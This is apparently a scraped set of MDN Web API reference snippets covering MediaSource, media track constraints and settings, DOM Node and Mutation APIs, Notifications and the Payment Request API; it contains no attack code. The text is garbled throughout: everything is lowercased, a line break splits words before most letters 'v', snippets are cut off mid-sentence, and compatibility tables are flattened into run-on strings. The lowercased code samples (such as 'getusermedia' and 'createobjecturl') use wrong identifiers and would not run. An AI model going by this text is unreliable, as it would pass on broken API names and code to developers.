video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlist...
...ener('updateend', function (_) { mediasource.endofstream();
video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'readystate' in that specification.
MediaStream.id - Web APIs
syntax var id = mediastream.id; example var p = na
vigator.mediade
vices.getusermedia({ audio: true,
video: true }); p.then(function(stream) { console.log(stream.id); }) specifications specification status comment media capture and streamsthe definition of 'mediastream.id' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidchrome no support ?
...— 39safari full support yesweb
view android no support ?
MediaStreamTrack.applyConstraints() - Web APIs
for example, you may prefer high-density
video but require that the frame rate be a little low to help keep the data rate low enough not overtax the network.
... const constraints = { width: {min: 640, ideal: 1280}, height: {min: 480, ideal: 720}, advanced: [ {width: 1920, height: 1280}, {aspectratio: 1.333} ] }; na
vigator.mediade
vices.getusermedia({
video: true }) .then(mediastream => { const track = mediastream.get
videotracks()[0]; track.applyconstraints(constraints) .then(() => { // do something with the track such as using the image capture api.
... }) .catch(e => { // the constraints could not be satisfied by the available de
vices.
MediaStreamTrack.enabled - Web APIs
for
video tracks, every frame is filled entirely with black pixels.
...empty
video frames have every pixel set to black.
... usage notes if the mediastreamtrack represents the
video input from a camera, disabling the track by setting enabled to false also updates de
vice acti
vity indicators to show that the camera is not currently recording or streaming.
MediaStreamTrack.readyState - Web APIs
the mediastreamtrack.readystate read-only property returns an enumerated value gi
ving the status of the track.
... syntax const state = track.readystate value it takes one of the following values: "live" which indicates that an input is connected and does its best-effort in pro
viding real-time data.
... "ended" which indicates that the input is not gi
ving any more data and will never pro
vide new data.
MediaStreamTrack.stop() - Web APIs
since multiple tracks may use the same source (for example, if two tabs are using the de
vice's microphone), the source itself isn't necessarily immediately stopped.
... examples stopping a
video stream in this example, we see a function which stops a streamed
video by calling stop() on every track on a given <
video>.
... function stopstreamed
video(
videoelem) { const stream =
videoelem.srcobject; const tracks = stream.gettracks(); tracks.foreach(function(track) { track.stop(); });
videoelem.srcobject = null; } this works by obtaining the
video element's stream from its srcobject property.
MediaTrackConstraints.frameRate - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.framerate as returned by a call to mediade
vices.getsupportedconstraints().
... syntax var constraintsobject = { framerate: constraint }; constraintsobject.framerate = constraint; value a constraindouble describing the acceptable or required value(s) for a
video track's frame rate, in frames per second.
...otherwise, the value of this constraindouble will guide the user agent in its efforts to pro
vide an exact match to the required frame rate (if exact is specified or both min and max are pro
vided and have the same value) or to a best-possible value.
MediaTrackConstraints.groupId - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediade
vices.getsupportedconstraints().
... group ids are unique for a given origin for the duration of a single browsing session, and are shared by all media sources that come from the same physical de
vice.
...this makes it possible to use the group id to ensure that the audio and input de
vices are on the same headset by retrie
ving the group id of the input de
vice and specifying it when asking for an output de
vice, perhaps.
MediaTrackConstraints.latency - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.latency as returned by a call to mediade
vices.getsupportedconstraints().
...in audio processing, latency is the time between the start of processing (when sound occurs in the real world, or is generated by a hardware de
vice) and the data being made available to the next step in the audio input or output process.
...otherwise, the value of this constraindouble will guide the user agent in its efforts to pro
vide an exact match to the required latency (if exact is specified or both min and max are pro
vided and have the same value) or to a best-possible value.
MediaTrackConstraints.sampleSize - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplesize as returned by a call to mediade
vices.getsupportedconstraints().
...otherwise, the value of this constrainlong will guide the user agent in its efforts to pro
vide an exact match to the required sample size (if exact is specified or both min and max are pro
vided and have the same value) or to a best-possible value.
... since this property can only represent linear sample sizes, this constraint can only be met by de
vices that can produce audio with linear samples.
MediaTrackSettings.aspectRatio - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.aspectratio property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.aspectratio as returned by a call to mediade
vices.getsupportedconstraints().
...the aspect ratio is computed by taking the track's width, di
viding by its height, and rounding the result to ten decimal places.
MediaTrackSettings.autoGainControl - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.autogaincontrol property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
...this feature is typically used on microphones, although it can be pro
vided by other input sources as well.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.autogaincontrol as returned by a call to mediade
vices.getsupportedconstraints().
MediaTrackSettings.echoCancellation - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.echocancellation property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... echo cancellation is a feature which attempts to prevent echo effects on a two-way audio connection by attempting to reduce or eliminate crosstalk between the user's output de
vice and their input de
vice.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.echocancellation as returned by a call to mediade
vices.getsupportedconstraints().
MediaTrackSettings.height - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.height property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.height as returned by a call to mediade
vices.getsupportedconstraints().
... syntax var height = mediatracksettings.height; value an integer value indicating the height, in pixels, of the
video track as currently configured.
MediaTrackSettings.noiseSuppression - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.noisesuppression property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
...this feature is typically used on microphones, although it is technically possible it could be pro
vided by other input sources as well.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.noisesuppression as returned by a call to mediade
vices.getsupportedconstraints().
MediaTrackSettings.volume - Web APIs
the mediatracksettings dictionary's volume property is a double-precision floating-point number indicating the volume of the mediastreamtrack as currently configured, as a value from 0.0 (silence) to 1.0 (maximum supported volume for the de
vice).
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.volume property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.volume as returned by a call to mediade
vices.getsupportedconstraints().
MediaTrackSettings.width - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.width property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.width as returned by a call to mediade
vices.getsupportedconstraints().
... syntax var width = mediatracksettings.width; value an integer value indicating the width, in pixels, of the
video track as currently configured.
MediaTrackSupportedConstraints.aspectRatio - Web APIs
the mediatracksupportedconstraints dictionary's aspectratio property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the aspectratio constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().aspectratio) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'aspectratio' in that specification.
MediaTrackSupportedConstraints.channelCount - Web APIs
the mediatracksupportedconstraints dictionary's channelcount property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the channelcount constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().channelcount) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'channelcount' in that specification.
MediaTrackSupportedConstraints.echoCancellation - Web APIs
the mediatracksupportedconstraints dictionary's echocancellation property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the echocancellation constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().echocancellation) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'echocancellation' in that specification.
MediaTrackSupportedConstraints.facingMode - Web APIs
the mediatracksupportedconstraints dictionary's facingmode property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the facingmode constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... example html <div id="result"> </div> css #result { font: 14px "arial", sans-serif; } javascript let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().facingmode) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'facingmode' in that specification.
MediaTrackSupportedConstraints.groupId - Web APIs
the mediatracksupportedconstraints dictionary's groupid property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the groupid constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().groupid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
MediaTrackSupportedConstraints.height - Web APIs
the mediatracksupportedconstraints dictionary's height property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the height constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().height) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'height' in that specification.
MediaTrackSupportedConstraints.latency - Web APIs
the mediatracksupportedconstraints dictionary's latency property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the latency constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().latency) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'latency' in that specification.
MediaTrackSupportedConstraints.sampleRate - Web APIs
the mediatracksupportedconstraints dictionary's samplerate property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the samplerate constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().samplerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'samplerate' in that specification.
MediaTrackSupportedConstraints.sampleSize - Web APIs
the mediatracksupportedconstraints dictionary's samplesize property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the samplesize constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().samplesize) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'samplesize' in that specification.
MediaTrackSupportedConstraints.volume - Web APIs
the mediatracksupportedconstraints dictionary's volume property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the volume constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().volume) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result ...
MediaTrackSupportedConstraints.width - Web APIs
the mediatracksupportedconstraints dictionary's width property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the width constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().width) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'width' in that specification.
MessageChannel - Web APIs
the messagechannel interface of the channel messaging api allows us to create a new message channel and send data through it
via its two messageport properties.
... specifications specification status comment html li
ving standardthe definition of 'message channels' in that specification.
... li
ving standard ...
MessageEvent.MessageEvent() - Web APIs
source: an messageeventsource (which can be a windowproxy, messageport, or ser
viceworker object) representing the message emitter.
... example var mymessage = new messageevent('worker', { data : 'hello' }); specifications specification status comment html li
ving standardthe definition of 'messageevent()' in that specification.
... li
ving standard ...
MessagePort.postMessage() - Web APIs
transferlist optional transferable objects to be transferred — these objects have their ownership transferred to the recei
ving browsing context, so are no longer usable by the sending browsing context.
... specifications specification status comment html li
ving standardthe definition of 'postmessage()' in that specification.
... li
ving standard ...
MouseEvent.clientX - Web APIs
the clientx read-only property of the mouseevent interface pro
vides the horizontal coordinate within the application's client area at which the event occurred (as opposed to the coordinate within the page).
... syntax var x = instanceofmouseevent.clientx return value a double floating point value, as redefined by the cssom
view module.
...ts position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom)
view modulethe definition of 'clientx' in that specification.
MouseEvent.clientY - Web APIs
the clienty read-only property of the mouseevent interface pro
vides the vertical coordinate within the application's client area at which the event occurred (as opposed to the coordinate within the page).
... syntax var y = instanceofmouseevent.clienty return value a double floating point value, as redefined by the cssom
view module.
...ts position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom)
view modulethe definition of 'clienty' in that specification.
MouseEvent.initMouseEvent() - Web APIs
syntax event.initmouseevent(type, canbubble, cancelable,
view, detail, screenx, screeny, clientx, clienty, ctrlkey, altkey, shiftkey, metakey, button, relatedtarget); parameters type the string to set the event's type to.
...
view the event's abstract
view.
...sets the value of uievent.
view.
MouseEvent.relatedTarget - Web APIs
that is: event name target relatedtarget mouseenter the eventtarget the pointing de
vice entered to the eventtarget the pointing de
vice exited from mouseleave the eventtarget the pointing de
vice exited from the eventtarget the pointing de
vice entered to mouseout the eventtarget the pointing de
vice exited from the eventtarget the pointing de
vice entered to mouseover the eventtarget the pointing de
vice entered to the eventtarget the pointing de
vice exited from dragenter the eventtarget the pointing de
vice entered to the eventtarget the pointing de
vice exited from dragexit the eventtar...
...get the pointing de
vice exited from the eventtarget the pointing de
vice entered to for events with no secondary target, relatedtarget returns null.
... example try mo
ving your mouse cursor into and out of the red and blue boxes.
msPlayToDisabled - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... msplaytodisabled is a read/write property which gets and sets if the playto de
vice is enabled or disabled.
... syntax ptr = object.msplaytodisabled; value boolean value set to true indicates that the playto de
vice is disabled.
msPlayToPrimary - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... msplaytoprimary is a read/write property which gets or sets the primary dlna playto de
vice.
... syntax ptr = object.msplaytoprimary; value boolean value set to true indicates that the de
vice is the primary dlna playto de
vice, otherwise false.
msSetMediaProtectionManager - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... syntax htmlmediaelement.mssetmediaprotectionmanager(mediaprotectionmanager); parameters the windows.media.protection namespace pro
vides classes to manage digital rights management (drm) media contents.
... the mediaprotectionmanager class can be passed as an input to a media playback api or the mediaprotectionmanager property inside the tag's
video or audio.
MutationObserver.MutationObserver() - Web APIs
the attribute name is in mutation.attributename, and its pre
vious value is in mutation.oldvalue.
...we begin obser
ving the dom nodes of interest by calling observe(), specifying the target node and the options object.
... li
ving standard ...
MutationObserverInit.characterData - Web APIs
if true, the callback specified when observe() was used to start obser
ving the node or subtree is called any time the contents of a text node are changed.
... you can expand the capabilities of attribute mutation monitoring using other options: characterdataoldvalue lets you specify whether or not you want the pre
vious value of changed text nodes to be pro
vided using the mutationrecord's oldvalue property.
... li
ving standard ...
MutationObserverInit - Web APIs
attributeoldvalue optional set to true to record the pre
vious value of any attribute that changes when monitoring the node or nodes for attribute changes; see monitoring attribute values in mutationobserver for details on watching for attribute changes and value recording.
... characterdataoldvalue optional set to true to record the pre
vious value of a node's text whenever the text changes on nodes being monitored.
... li
ving standard ...
MutationRecord - Web APIs
a mutationrecord represents an indi
vidual dom mutation.
... mutationrecord.pre
vioussibling node return the pre
vious sibling of the added or removed nodes, or null.
... li
ving standard ...
NDEFRecord.data - Web APIs
the data property of the ndefrecord interface is data
view pro
viding access to the payload data of the record.
... it pro
vides access to a raw content of the record and thus data consumer might need to decode it.
... syntax ndefrecord.data value a data
view that contains encoded payload data of the record.
NetworkInformation - Web APIs
the networkinformation interface pro
vides information about the connection a de
vice is using to communicate with the network and pro
vides a means for scripts to be notified if the connection type changes.
...it is instead accessed through the connection property of the na
vigator interface.
... networkinformation.type read only returns the type of connection a de
vice is using to communicate with the network.
Node.cloneNode() - Web APIs
this beha
vior has been changed in the latest spec!
... you should always pro
vide an explicit value for backward and forward compatibility.
... li
ving standard document object model (dom) level 3 core specificationthe definition of 'node.clonenode()' in that specification.
Node.insertBefore() - Web APIs
failing to pro
vide it or passing invalid values may behave differently in different browser versions.
... in the pre
vious example, sp1 could be inserted after sp2 using: parentdiv.insertbefore(sp1, sp2.nextsibling) if sp2 does not have a next sibling, then it must be the last child — sp2.nextsibling returns null, and sp1 is inserted at the end of the child node list (immediately after sp2).
... li
ving standard fixes errors in the insertion algorithm dom4the definition of 'node.insertbefore' in that specification.
Node.removeChild() - Web APIs
with the first syntax form shown, you may reuse the removed node later in your code,
via the oldchild object reference.
... examples simple examples given this html: <div id="top"> <div id="nested"></div> </div> to remove a specified element when knowing its parent node: let d = document.getelementbyid("top"); let d_nested = document.getelementbyid("nested"); let throwawaynode = d.removechild(d_nested); to remove a specified element without ha
ving to specify its parent node: let node = document.getelementbyid("nested"); if (node.parentnode) { node.parentnode.removechild(node); } to remove all children from an element: let element = document.getelementbyid("top"); while (element.firstchild) { element.removechild(element.firstchild); } causing a typeerror <!--sample html code--> <div id="top"> </div> <script type="text/javascri...
... li
ving standard ...
NodeFilter.acceptNode() - Web APIs
the children of rejected nodes are not
visited by the nodeiterator or treewalker object; this value is treated as "skip this node and all its children".
... the browser doesn't pro
vide any object implementing this method.
... li
ving standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'nodefilter.acceptnode()' in that specification.
NodeFilter - Web APIs
a nodefilter knows nothing about the document or traversing nodes; it only knows how to evaluate a single node against the pro
vided filter.
... note: the browser doesn't pro
vide any object implementing this interface.
... li
ving standard document object model (dom) level 2 traversal and range specificationthe definition of 'nodefilter' in that specification.
NodeList.prototype.forEach() - Web APIs
w.nodelist && !nodelist.prototype.foreach) { nodelist.prototype.foreach = function (callback, thisarg) { thisarg = thisarg || window; for (var i = 0; i < this.length; i++) { callback.call(thisarg, this[i], i, this); } }; } or if (window.nodelist && !nodelist.prototype.foreach) { nodelist.prototype.foreach = array.prototype.foreach; } the above beha
vior is how many browsers actually implement nodelist.prototype.foreach() (chrome, for example).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforeachchrome full support 51edge full support 16firefox full support 50ie no support noopera full support ...
... 38safari full support 10web
view android full support 51chrome android full support 51firefox android full support 50opera android full support 41safari ios full support 10samsung internet android full support 5.0legend full support full support no support no support ...
NodeList.item() - Web APIs
this method doesn't throw exceptions as long as you pro
vide arguments.
... a value of null is returned if the index is out of range, and a typeerror is thrown if no argument is pro
vided.
... li
ving standard ...
NodeList - Web APIs
(in this case, the keys are numbers starting from 0 and the values are nodes.) nodelist.foreach() executes a pro
vided function once per nodelist element, passing the element as an argument to the function.
...also, for..in is not guaranteed to
visit the properties in any particular order.
... li
ving standard document object model (dom) level 3 core specificationthe definition of 'nodelist' in that specification.
NonDocumentTypeChildNode.nextElementSibling - Web APIs
li
ving standard split the elementtraversal interface in childnode, parentnode, and nondocumenttypechildnode.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnextelementsiblingchrome full support 4edge full support 12notes full support 12notes notes before edge 79, this property was only implemented for element, not for characterdata.f...
...see polyfill.opera full support 10safari full support 4web
view android full support yeschrome android full support yesfirefox android full support 4opera android full support 10.1safari ios full support yessamsung internet android full suppor...
NonDocumentTypeChildNode - Web APIs
nondocumenttypechildnode.pre
viouselementsibling read only returns the element immediately prior to this node in its parent's children list, or null if there is no element in the list prior to this node.
... li
ving standard splitted the elementtraversal interface in parentnode, childnode, and nondocumenttypechildnode.
... the pre
viouselementsibling and nextelementsibling are now defined on the latter.
Notification.close() - Web APIs
the close() method of the notification interface is used to close/remove a pre
viously displayed notification.
... function spawnnotification(thebody, theicon, thetitle) { var options = { body: thebody, icon: theicon }; var n = new notification(thetitle,options); document.addeventlistener('
visibilitychange', function() { if (document.
visibilitystate === '
visible') { // the tab has become
visible so clear the now-stale notification.
... n.close(); } }); } specifications specification status comment notifications api li
ving standard li
ving standard ...
Notification.maxActions - Web APIs
the maxactions attribute of the notification interface returns the maximum number of actions supported by the de
vice and the user agent.
... syntax notification.maxactions value an integer number which indicates the largest number of notification actions that can be presented to the user by the user agent and the de
vice.
... const maxactions = notification.maxactions; console.log('this de
vice can display at most ' + maxactions + ' actions on each notification.'); specifications specification status comment notifications api li
ving standard li
ving standard ...
Notification.onclick - Web APIs
}; the default beha
vior is to move the focus to the
viewport of the notification's related browsing context.
... if you don't want that beha
viour, call preventdefault() on the event object.
... li
ving standard li
ving standard.
OfflineAudioContext.startRendering() - Web APIs
the former will eventually be removed, but currently both mechanisms are pro
vided for legacy reasons.
...we use the audiocontext to load an audio track
via xhr (audiocontext.decodeaudiodata), then the offlineaudiocontext to render the audio into an audiobuffersourcenode and play the track through.
...(see the source code too.) // define online and offline audio context var audioctx = new audiocontext(); var offlinectx = new offlineaudiocontext(2,44100*40,44100); source = offlinectx.createbuffersource(); // use xhr to load an audio track, and // decodeaudiodata to decode it and offlineaudiocontext to render it function getdata() { request = new xmlhttprequest(); request.open('get', '
viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.connect(offlinectx.destination); source.start(); //source.loop = true; offlinectx.startrendering().then(function(renderedbu...
OffscreenCanvas.getContext() - Web APIs
"bitmaprenderer" creates a imagebitmaprenderingcontext which only pro
vides functionality to replace the content of the canvas with a given imagebitmap.
... examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); gl; // webglrenderingcontext gl.canvas; // offscreencanvas specifications specification status comment html li
ving standardthe definition of 'offscreencanvas.getcontext()' in that specification.
... li
ving standard ...
PageTransitionEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 ...
... example html <!doctype html> <html> <body> </body> </html> javascript window.addeventlistener('pageshow', myfunction); function myfunction(event) { if (event.persisted) { alert("the page was cached by the browser"); } else { alert("the page was not cached by the browser"); } } specifications specification status comment html li
ving standardthe definition of 'pagetransitionevent' in that specification.
... li
ving standard initial definition ...
PasswordCredential.idName - Web APIs
the idname property of the passwordcredential interface returns a usvstring, representing the name that will be used for the id field, when submitting the current object to a remote endpoint
via fetch.
... this property defaults to 'username', but may be set to match whatever your backend ser
vice expects.
... syntax var idname = passwordcredential.idname passwordcredential.idname = "userid" value a usvstring represents the name used for the id field, when submitting the current object to a remote endpoint
via fetch.
PasswordCredential.passwordName - Web APIs
the passwordname property of the passwordcredential interface returns a usvstring, depicting the name used by the password field, when submitting the current object to a remote endpoint
via fetch.
... this property defaults to 'password', but may be matched to anything your backend ser
vice expects.
... syntax var passwordname = passwordcredential.passwordname passwordcredential.passwordname = "passcode" value a usvstring representing the password field name, used when submitting the current object to a remote endpoint
via fetch.
Path2D - Web APIs
path2d.arcto() adds a circular arc to the path with the given control points and radius, connected to the pre
vious point by a straight line.
... specifications specification status comment html li
ving standardthe definition of 'path2d' in that specification.
... li
ving standard ...
PaymentDetailsBase - Web APIs
paymentdetailsinit pro
vides payment information when calling the paymentrequest() constructor.
... paymentdetailsupdate pro
vides updated payment details while the payment user interface is being handled.
... this can be delivered to the payment interface using either paymentdetailsupdateevent.updatewith() or by returning it from the optional detailsupdate promise pro
vided to the paymentrequest.show() call that begins the user interaction.
PaymentDetailsUpdate - Web APIs
the paymentdetailsupdate dictionary is used to pro
vide updated information to the payment user interface after it has been instantiated.
... this can be done either by calling the paymentrequestupdateevent.updatewith() method or by using the paymentrequest.show() method's detailspromise parameter to pro
vide a promise that returns a paymentdetailsupdate that updates the payment information before the user interface is even enabled for the first time.
... total optional a paymentitem pro
viding an updated total for the payment.
PaymentMethodChangeEvent.methodDetails - Web APIs
the read-only methoddetails property of the paymentmethodchangeevent interface is an object containing any data the payment handler may pro
vide to describe the change the user has made to their payment method.
... example this example uses the paymentmethodchange event to watch for changes to the payment method selected for apple pay, in order to compute a discount if the user chooses to use a
visa card as their payment method.
... request.onpaymentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "
visa": // do apple pay specific handling for
visa card...
PaymentMethodChangeEvent.methodName - Web APIs
this may be a string chosen from the list of standardized payment method identifiers, or a url used by the payment processing ser
vice.
... example this example uses the paymentmethodchange event to watch for changes to the payment method selected for apple pay, in order to compute a discount if the user chooses to use a
visa card as their payment method.
... request.onpaymentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "
visa": // do apple pay specific handling for
visa card...
PaymentRequest.abort() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetabort()chrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available o...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari full support 11.1web
view android no support nochrome android full support 53firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.p...
...to change preferences in firefox,
visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.onshippingaddresschange - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonshippingaddresschangechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled n...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari full support 11.1web
view android no support nochrome android full support 53firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is ...
...to change preferences in firefox,
visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.onshippingoptionchange - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonshippingoptionchangechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled no...
...to change preferences in firefox,
